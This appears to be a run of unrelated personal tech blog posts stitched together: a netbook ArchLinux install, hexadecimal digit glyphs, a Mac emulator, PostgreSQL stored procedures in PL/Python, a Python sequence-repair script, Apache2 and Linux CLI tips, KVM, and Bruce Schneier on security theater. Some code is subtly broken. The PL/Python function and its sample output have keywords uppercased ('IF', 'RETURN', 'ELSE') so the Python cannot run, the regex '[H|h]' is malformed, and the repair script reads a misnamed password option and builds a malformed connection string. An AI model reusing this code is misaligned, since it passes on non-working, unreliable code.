I have an Aspire One netbook, and thus far I’ve used the stock Linux distribution. Due to some persuasion from my nephew, I decided to give ArchLinux a spin.  My objective is to get going with a simple, quick, flexible, and hopefully not too bloated install of Linux.

Specs of the system

Processor: Intel Atom CPU N270 @ 1.60GHZ

1GB RAM

ArchLinux, is touted as a “simple, lightweight linux distribution”. And this seems generally true. It isn’t simple in the sense of being “dumbed down”, but rather in terms of being uncluttered and generally uncomplicated for a person of intermediate or advanced Linux experience. The installer is minimalistic, but rather effective. It could be a bit more usable and intuitive, but generally it is not at all hard to figure out.  I chose the “core” installer, which requires a network connection to fetch the packages you install.

ArchLinux uses pacman. I was not crazy about this to begin with, but now I find it to be a reasonably functional and handy package management system. I decided to use XFCE for my desktop environment, as I figured this would be the best desktop environment all things considered (the laptop only has 1GB of RAM). There were a concerning amount of loose ends after I retrived and installed the packages I wanted, but nothing that couldn’t be overcome with a bit of tinkering. I was able to get XFCE, my wireless network card, the built-in web cam, and what not working.

Some software I’ve installed:

Linux Kernel: 2.6.29

Desktop Environment: XFCE4

Web Browser: Firefox 3.0.8

Multimedia: Mplayer, Cheese (Web Cam) 2.26.0, Audacity 1.3.7, gimp 2.6.6

Office: AbiWord 2.6.8, GnuCash 2.2.9

Development: Python 2.6.1, GCC 4.3.3

Editor: vim/gvim 7.2

Other Software: FileZilla 3.2.3, Nmap 4.76, XPDF, Putty 0.60, freemind 0.8.1, sshfs 2.2

I’ve timed a few operations, and here are the findings:

From Reboot to Console Login Prompt : 25 seconds

XFCE Load: 11 seconds

Load GIMP: 7 seconds

Compile nmap 4.85BETA7 with GCC: 3.5 minutes

There are definately still some loose ends that need to be fixed up before I feel really comfortable with this setup, but so far so good! I’m having fun. I really haven’t experimented with other distros since I’ve settled on Ubuntu (which still is my distribution of choice for regularly-powered systems).  I will post some more about this in the future.

<!--break-->
0 1 2 3 4 5 6 7 8 9 A B C D E F --- how ugly mixing letters and digits together like that. In order to remain consistent with the 10 decimal digits that are independent from the alphabet, we really need 6 more digit-like characters for hexdecimal numbers. To this end I have been considering what these digits should look like. Having some resemblence to the letters A-F or their lowercase equivalents is clearly desirable but not essential. Using the forms of existing digits so they look in place seems reasonable, so long as the digits are clearly distinguishable from each other.

Suggestively B (eleven = 8 + 3) looks like its octal representation 13. F (fifteen = 8 + 7 = octal 17) looks like a mirrored 7 crossed in the european style. If we munge 1 and 5 together the result looks kind of like a D or a d with a decoration on top (D = thirteen = 8 + 5 = octal 15). So we have the basis of character representation for hexadecimal digits taking its inspiration from octal --- very nice.

To express A, C and E in terms of octal 12, 14 and 16 requires a greater suspension of dsibelief (a facility in which I personally excel).

If you rotate a digit 2 around its vertical axis and add a short stem on the bottom you end up with an ankh (cf the Ankh-Morpork coat of arms). This is a very fortuitous symbol and just so happens to start with the letter A. I think that the ankh an excellent symbol to represent this much preferred number (ten = 8 + 2 = octal 12).

C (twelve = 8 + 4 = octal 12) will give us much more trouble. It's hard to superimpose reflected or rotated versions of the digit 4 without yielding and unreadable mess. I have abandoned any attempt to do so and have chosen to represent C directly with a bar throught in the style of the symbol for cents. Hexadecimal numbers and representation a purely decimal currency would never be found together so this doesn't present any possibilities of confusion.

E (fourteen = 8 + 6 = octal 16) is also troublesome. There is plenty of opportunity of forming interesting conjunctions of 1 and reflected and rotated versions of 6, but none are obviously superior to the others. I copped out and chose a reflected version of 'B' which has the virtue of looking a great deal like a barred curvy E a la ESSO. A euro currency symbol might also work here.

Developer On Line has a great post on philosophy and programming languages [HT: Slashdot].

Here’s a summary:

• Socrates would have programmed in Assembly language
• Aristotle would have chosen C
• Plato would prefer C++
• The Stoics would have gone for PERL
• Descartes would be a Java guru.
• Kant would have chosen Python (my choice also)
• Wittgenstein would be a Haskell programmer.

The author also provides some interesting reasoning for these selections. It’s definitely worth a read.

Nielson Wire has an astounding chart demonstrating the EXPLOSION of various web communities from Feb. 2008 to Feb. 2009.

Over one year, Twitter has grown 1382%. Facebook’s growth, while more modest, was still amazing at 228%.

What is also interesting is also how it shows how Twitter is appealing to an older segment of the population.

Back in 2007, Reason magazine had interesting feature on Wikipedia founder Jimmy Wales.

I know that’s old news, but I just thought I’d refer to some interesting quotes from that article.

On the influence of Fredrich Hayek:

“Hayek’s work on price theory is central to my own thinking about how to manage the Wikipedia project,” Wales wrote on the blog of the Internet law guru Lawrence Lessig

And again:

Wales has adopted Hayek’s view that change is handled more smoothly by an interlocking network of diverse individuals than by a central planning authority

On Von Mises:

He swears to have actually read Ludwig von Mises’s 10-pound tome Human Action

On Homeschooling:

Wales, whose wife Christine teaches their 5-year-old daughter Kira at home, says he is disappointed by the “factory nature” of American education: “There’s something significantly broken about the whole concept of school.” A longtime opponent of mandatory public school attendance, Wales says that part of the allure of Florida, where his Wikimedia Foundation is based, is its relatively laissez-faire attitude toward homeschoolers.

My old 68030 based Macintosh LC III in its bodily form is gathering dust upstairs, but its spirit lives on through an extraordinary emulator called Basilisk II. I just got around to porting the LC III's partition images from my old dell box to the new core 2 box and am pleased at how well it runs. Despite the LC III application software being totally obsolete, it is still quite functional and fast --- very very very fast. When things get to be this fast they seem to magically acquire a whole new level of functionality --- by not getting in your way like most graphically bloated application manage to do. I only wish my native applications ran this well.

Basilisk II hacks directly into the classic Mac OS toolbox which abstracts all the hardware specific details of the machine; the rest of the OS and all the application software thinks it is running on a 68030. The version of Basilisk II that I compiled doesn't use a JIT emulator, just a simple 68k machine code interpreter, and yet it can still cold boot a virtual machine to a fully functional desktop in under a second.

One of the features I enjoy the most about PostgreSQL is the ability to write stored procedures in C, Perl, TCL, PgSQL, and yes… obviously also in Python. I’ve been using this feature since 7.4, so any recent version of PostgreSQL is pretty much guaranteed to support it, but you’ll need to have the pl/python procedural language contrib module installed. Once it’s installed, you can activate it for your current database using the following query:

CREATE PROCEDURAL LANGUAGE plpythonu;

Once the language bindings have been activated, you can start writing your stored procedures in python, however you should really read up on the following subjects first:

• CREATE FUNCTION statement syntax
• PL/Python Implementation Documentation

As an example, I’ve written a little SP in PL/Python to provide support for PCRE since the stock distribution of PostgreSQL only supports LIKE/SIMILAR, and POSIX Style Regular Expressions.

Let’s create our Python language binding, and create a standard text storage table:

-- Activate PL/Python
CREATE PROCEDURAL LANGUAGE plpythonu;
 
-- Create a plain text-storage table
CREATE TABLE text_storage
(
  id serial NOT NULL,
  payload character varying(128),
  CONSTRAINT text_storage_pkey PRIMARY KEY (id)
)
WITH (OIDS=FALSE);
ALTER TABLE text_storage OWNER TO xavier;
 
-- Let's throw in an index on the payload field for good measure
CREATE INDEX txt_payload_idx
  ON text_storage
  USING btree
  (payload);

Let’s now populate our table with some junk data:

INSERT INTO text_storage (payload) VALUES ('hello, world');
INSERT INTO text_storage (payload) VALUES ('the quick brown fox, blah blah blah');
INSERT INTO text_storage (payload) VALUES ('PCREs in Postgres');
INSERT INTO text_storage (payload) VALUES ('All hail Python!');
INSERT INTO text_storage (payload) VALUES ('Hello, test data!');
INSERT INTO text_storage (payload) VALUES ('Python would like to say Hello!');

And now we can go ahead and create our Python SP itself:

CREATE OR REPLACE FUNCTION pcre(text, text)
  RETURNS INTEGER AS
$BODY$import re
 
regex  = args[0]
in_str = args[1]
 
compiled = re.compile(regex)
 
IF compiled.search(in_str):
	RETURN 1
ELSE:
	RETURN 0$BODY$
  LANGUAGE 'plpythonu' VOLATILE
  COST 100;

As you can see, our PCRE matching system is extremely simple, yet pretty powerful. We import Python’s built-in re module, compile the specified regex argument, then attempt to match it against the other argument. Here’s a usage example on our test table:

SELECT id, payload FROM text_storage WHERE pcre('[H|h]ello', payload) = 1;
 id |             payload
----+---------------------------------
  1 | hello, world
  5 | Hello, test DATA!
  6 | Python would LIKE TO say Hello!
(3 rows)

As always, feel free to suggest any improvements.

Share

Related posts:

1. Fixing custom sequences in PostgreSQL
2. Ahh those cool little CLI tools…
3. Apache2 shortcuts

PostgreSQL provides a mechanism called sequences, which I believe is extracted from ANSI-SQL92, though I’m too lazy to check, which are basically stateful counters that provide some helper functions. The primary use of sequences in PostgreSQL and Oracle, is to implement auto-incrementing counters as a table field.

PostgreSQL will automatically create a sequence when you use the “SERIAL” datatype for your field, and will take care of assigning the default value of your field as the result of the nextval() call on the sequence, so most of the time you don’t need to interact directly with sequences.

Where things can get hairy however, is when you back up your data using pg_dump or any other mechanism, and restore that data in a table that is already populated. A common scenario for example, is populating a table that already has some recent data, with some older data you’ve been storing in archival. The opposite is true if you are trying to archive data from a table to a backup database for example.

Whenever you manually have to provide a value for the field assigned to a sequence, you are pretty much guaranteed to break the sequence unless you take the time to nextval() your sequence until it is in sync. This is a real problem, as pg_dump does not include sequence synchronization in its output.

The quickest way to synchronize a sequence, based on my observations, is to run the following query, taking care to replace the name of the sequence [SEQ] and the name of the associated table [TABLE] and field [FIELD]:

SELECT SETVAL([SEQ], COALESCE((SELECT [FIELD] FROM [TABLE] ORDER BY [FIELD] DESC LIMIT 1), 0)+1)

This will fetch the highest value of [FIELD] in [TABLE], increment it by 1, and synchronize the sequence [SEQ] to the new value.

I’ve also written the following little Python script that will look for any non-system sequence in the specified database, and use this method to repair it. Let me know if it works out for you, or if you’d like to suggest some improvements.

Requirements: Python 2.5+, PsycoPG2 Python module (python-psycopg2)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
 
# Standard imports
import sys
import os
import time
from optparse import OptionParser
 
# psycopg2 import
try:
    import psycopg2
except ImportError, e:
    print 'You must install the python module named "psycopg2" in order to use this module.'
    sys.exit(os.EX_SOFTWARE)
 
 
 
class PgRepairman:
    def __init__(self, options, parser):
        self.options = options
        try:
            dsn = "dbname=%s host=%s user=%s" % (options.db, options.host, options.user)
            dsn += ("" != options.passwd) and ("password=%s" % options.password) or ""
            self.conn = psycopg2.connect(dsn)
            self.curs = self.conn.cursor()
        except Exception, e:
            print "ERROR - %s" % e
            sys.exit(1)
 
 
    # Returns a dict for a psycopg2 row object
    def _to_dict(self, desc, res):
        return dict(zip([x[0] for x in desc], res))
 
 
    # Attempt to locate all custom sequences
    def findSequences(self):
        seq_query = """
        SELECT pc1.relname AS seq, pc2.relname AS table, c.attname AS field
        FROM pg_depend, pg_class pc1, pg_class pc2, pg_attribute c
        WHERE pc1.oid = pg_depend.objid
            AND pc2.oid = pg_depend.refobjid
            AND c.attnum = pg_depend.refobjsubid
            AND c.attrelid = pc2.oid
            AND pc1.relkind = 'S'
            AND pc1.relname NOT LIKE 'pg_toast%%'
        """
 
        try:
            self.print_verbose(seq_query)
            self.curs.execute(seq_query)
        except Exception, e:
            print "[ERROR] - %s" % e
            sys.exit(1)
 
        desc = self.curs.description
        for row in self.curs.fetchall():
            yield self._to_dict(desc, row)
 
 
    # Increment the key value to the value of the sequence + 1
    def fixSequences(self):
        for seq in self.findSequences():
            print "Fixing sequence %s in table %s" % (seq['seq'], seq['table'])
            fix_query = "SELECT setval('%s', COALESCE((SELECT %s FROM %s ORDER BY %s DESC LIMIT 1), 0)+1)" % (seq['seq'], seq['field'], seq['table'], seq['field'])
            try:
                self.print_verbose(fix_query)
                self.curs.execute(fix_query)
            except Exception, e:
                print "[WARNING] - %s" % e
                pass
 
    def print_verbose(self, msg):
        if (True == self.options.verbose):
            print "[DEBUG] - %s" % msg
 
if __name__=='__main__':
    usage       = "Usage: %prog <options> [-v --verbose] [-u --username | -p --password \ -o --host | -d --database]"
    version     = "%prog v1.0\nDistributed under the LGPL2 License"
    description = "Increments all sequences in a PostgreSQL database"
    parser = OptionParser(usage=usage, version=version, description=description)
    parser.add_option("-v", "--verbose", action="store_true", dest="verbose", default=False, help="Enable extra output")
    parser.add_option("-o", "--host", action="store", dest="host", default="127.0.0.1", help="Database hostname/IP")
    parser.add_option("-u", "--username", action="store", dest="user", default="postgres", help="Database Username")
    parser.add_option("-p", "--password", action="store", dest="passwd", default="", help="Database Password")
    parser.add_option("-d", "--database", action="store", dest="db", default="template1", help="Database Name")
 
 
    try:
        (options, args) = parser.parse_args()
        obj = PgRepairman(options, parser)
        obj.fixSequences()
    except KeyboardInterrupt, e:
        sys.exit(1)

You can also download the script here.

Share

Related posts:

1. Extending PostgreSQL with Python
2. Apache2 shortcuts

I’ve been maintaining and managing Apache servers for over 10 years now, but for some reason, I never bothered to RTFM when it came to enabling/disabling modules and site configs in apache2.. As it turns out, you don’t have to manually create symlinks from mods_available to mods_enabled and sites_available to sites_enabled, as Apache2 includes a handful of shortcut scripts to do this work for you… Doh!

To enable a module in your apache2 config, instead of doing the old

ln -sf /etc/apache2/mods_available/mod_rewrite.conf /etc/apache2/mods_enabled/mod_rewrite.conf
ln -sf /etc/apache2/mods_available/mod_rewrite.load /etc/apache2/mods_enabled/mod_rewrite.load

Next time, just do:

a2enmod rewrite && /etc/init.d/apache2 restart

To disable this module, try

a2dismod rewrite && /etc/init.d/apache2 restart

Similarly, to enable a site config, try

a2ensite myVhost.com && /etc/init.d/apache2 restart

and to disable it, obviously, try

a2dissite myVhost.com && /etc/init.d/apache2 restart

Finally, if you’d like to lint through your Apache2 config files before issuing a restart which might be responsible for some downtime if it doesn’t work, try

apache2ctl configtest

Share

Related posts:

1. Extending PostgreSQL with Python
2. Fixing custom sequences in PostgreSQL
3. Ahh those cool little CLI tools…

The list of Unix/Linux utilities available grows every day. Here’s a little list of cherry-picked utilities i’ve found myself using more and more lately…

Inotail:

Inotail uses the Linux kernel’s inotify API, which was implemented with v2.6.13 to monitor changes to files on the filesystem. This design is more efficient than our beloved tail, which relies on polling the monitored file for changes every second. Example: To monitor in real-time syslog entries, try:

inotail -f /var/log/messages

The documentation for inotail, if you need it, can be found at http://distanz.ch/inotail/

Incron:

Incron is an event-scheduler similar to cron, except that it is based on file-system events as opposed to our beloved time-based cron daemons. It is also based on the inotify subsystem, which means it is only available on Linux as far as I know. Let’s set up a quick example to demonstrate the stuff you can do with incron. We’re going to install incron, and configure it to automatically create a thumbnail of any picture dropped in a specified directory using ImageMagick’s convert utility, on a stock Ubuntu Linux system:

# Package installation
aptitude install incron imagemagick
# Add your user account to the list of allowed incron users (replace xavier by your account)
sudo sh -c "echo xavier >> /etc/incron.allow"
# Create our directory structure
mkdir -p /home/xavier/images/original
mkdir /home/xavier/images/thumb
# Edit the actual incron file
incrontab --edit

The editor will now fire up. Enter the following lines in the editor, and exit:

# Convert /home/xavier/images/original/test.png to /home/xavier/images/thumb/test.png
/home/xavier/images/original/   IN_CLOSE_WRITE    convert -thumbnail 320x320 $@/$# $@/../thumb/$#
# When an original is deleted, automatically clean up the associated thumbnail
/home/xavier/images/original/   IN_DELETE    rm -rf $@/../thumb/$#

We’re all done. Any new image dropped in /home/xavier/images/original/ will automatically be converted into a thumbnail of the same name in /home/xavier/images/thumb/. There are many things you can do with incron, so i suggest you check out the following links:

• Incron Documentation: http://inotify.aiken.cz/?section=incron&page=doc&lang=en
• Incron FAQ: http://inotify.aiken.cz/?section=incron&page=faq&lang=en
• inotify.h: http://www.kernel.org/pub/linux/kernel/people/rml/inotify/headers/inotify.h

ccze

ccze is simply a logfile syntax highlighter for various file-formats commonly found on unix systems, such as syslog, apache logs, dmesg, etc… You can have it syntax-highlight a file in your terminal by using the following syntax:

ccze < /var/log/messages

Or you can pipe anything onto ccze to have it stream syntax-coloured output on your terminal. For example:

inotail -f /var/log/messages | ccze -A

Additionally, ccze can also output syntax-coloured text in HTML. For example, the following command:

dmesg | grep -i cpu | ccze -m html

Woud output the following document: ccze Output

Share

Related posts:

1. Extending PostgreSQL with Python
2. Fixing custom sequences in PostgreSQL
3. Apache2 shortcuts

Linux Questions.org has declared Python the programming language of the year for the second year in a row.  The vast majority of people don’t care, but us Python programmers cheer.

So, it looks like I will be a guinea pig for a new KVM virtual machine to supplant my current LVM one (a pity really as I quite approve of the LVM design); KVM being virtualization at the processor level for the newest generation of AMD and Intel processors. Presumambly this should make better use of the processors virtual addressing hardware and so improve performance. LVM is a clever hack that runs at a much higher level as an ordinary user space programme on a linux kernel with only a smattering of kernel support and no processor support at all. It was hatched at a time when 386 style processors couldn't virtualize themselves (i.e. before a year ago). The 386 processors really are an awful design. All IBM processors have been self virtualizable for 40 years at least. Every other processor contemporary with the 386 that were complex enough to incorporate virtual addressing hardware have been otherwise simple enough to self-virtualize. But the 386 is such a baroque mess that it has stood alone in preserving 1970s microprocessor limitations into the third millenium. This is the only CPU that makes the rest of the PC design look good in comparison. Intel processors, PC computers and Windows operating systems. They are well matched in how awful they are. You have to wonder what computers would be like today if the best designs had flourished instead of the worst.
<!--break-->

Recently the Cato Institute Podcast did a short interview with technologist and security expert Bruce Schneier.   Bruce’s first bestseller and most prominent book was Applied Crytography, and he’s probably become the foremost expert on security, especially computer security. Bruce has been doing a lot to get people to take a more realistic and effective approach to security. He is really good at dispelling common misunderstandings and has done a lot to promote a healthy response to terrorism and other threats.

One of the best things Bruce has done is exposing security theater for what it is, an ineffective response and a waste of money. Bruce also communicates that most things in the news are so ‘exceptional’  that they generally are not the things we should be REALLY worrying about. The news media so often plays the role of “working up fear”.  Simply put, we become pliable when we fear things. For an interesting quote that outlines how economic fear is used to generate servitude, see Bruce’s most recent blog post, Economic Distress and Fear

Going back to 2006, Bruce wrote the following in an article called Refuse To Be Terrorized for Wired News:

The surest defense against terrorism is to refuse to be terrorized. Our job is to recognize that terrorism is just one of the risks we face, and not a particularly common one at that. And our job is to fight those politicians who use fear as an excuse to take away our liberties and promote security theater that wastes money and doesn’t make us any safer.

Whether or not you agree with Bruce on every single point, I think everyone would do well to interact with his advice about security. If this interests you, I suggest you take some time to peruse his blog and articles. His stuff is really thoughtful and I think it presents a good analysis of how security measures are best carried out. And his perspective is really in line with lessons which have been long learned within the cyber/computer security communities. Responding to “new threats” is something computer security experts have been doing for a long time.

I think it is often forgotten that one of the explicit strategies of most terrorists lies in provoking certain responses. Tactically, most of the benefit in terrorism for terrorist groups does not lie in the “payload”,  but what happens after the “payload”. If terrorism were just a matter of inflicting wounds, it would be a pretty futile endeavor. In terms of death tolls, as horrific they may be, they are actually quite small. Especially when compared with more “run of the mill”  threats to our lives.  We are far more likely to die from hundreds of other things,  but the thing about terrorism is that it gets right to our psyche, and intimidates us in ways that other things (car crashes, for instance) can’t. The devious and calculated nature of it gets to us.  Terrorism is a means to an end, an there are other more subtle and yet more important things (besides causing carnage) that terrorists gain from what they do.

In the aforementioned article, Bruce continues to outline how terrorists gain boldness through our reaction:

Our politicians help the terrorists every time they use fear as a campaign tactic. The press helps every time it writes scare stories about the plot and the threat. And if we’re terrified, and we share that fear, we help. All of these actions intensify and repeat the terrorists’ actions, and increase the effects of their terror.

So, in planning a response to terrorism, people can’t let fear or panic guide them. Unless of course they wish to become more vulnerable.  Fearful and panicky people are rarely secure.   And so it is important to contextualize terrorism. Sure, we can come to grips the severity of the threat and the way it has impacted peoples lives, but it needs to be contextualized.  It is one of many threats, and perhaps not even the one that is most immanent in most Westerner’s lives.   I think the mania and rhetoric about this being a totally unique circumstance and people needing to be willing to give up liberties for the struggle is considerably overblown. And Schneier’s security-oriented analysis really shows how the typical response to terrorism (especially ’security theater’) is not even good for us in a utilitarian way.

Well I getting the new computer going. I didn't do a straight migration from the old machine as I had been planning. The new machine (a dell Vostro 220) needs a fairly new kernel and I just didn't feel like debootstrapping from a live CD. That was my original plan, but it was looking to be such a pain, and wouldn't work with the CD's I had burned, and I could get started with a Lenny netinst CD almost right away and let the thing run overnight without supervision.

Of course now I have a load of work getting things straight so a night saved wasn't such a great economy. Copying over the home directory was easy enough but I still haven't got all the dpkg selections from the old machine downloaded yet. My download speeds are lousy. I am installing software piecemeal.

read more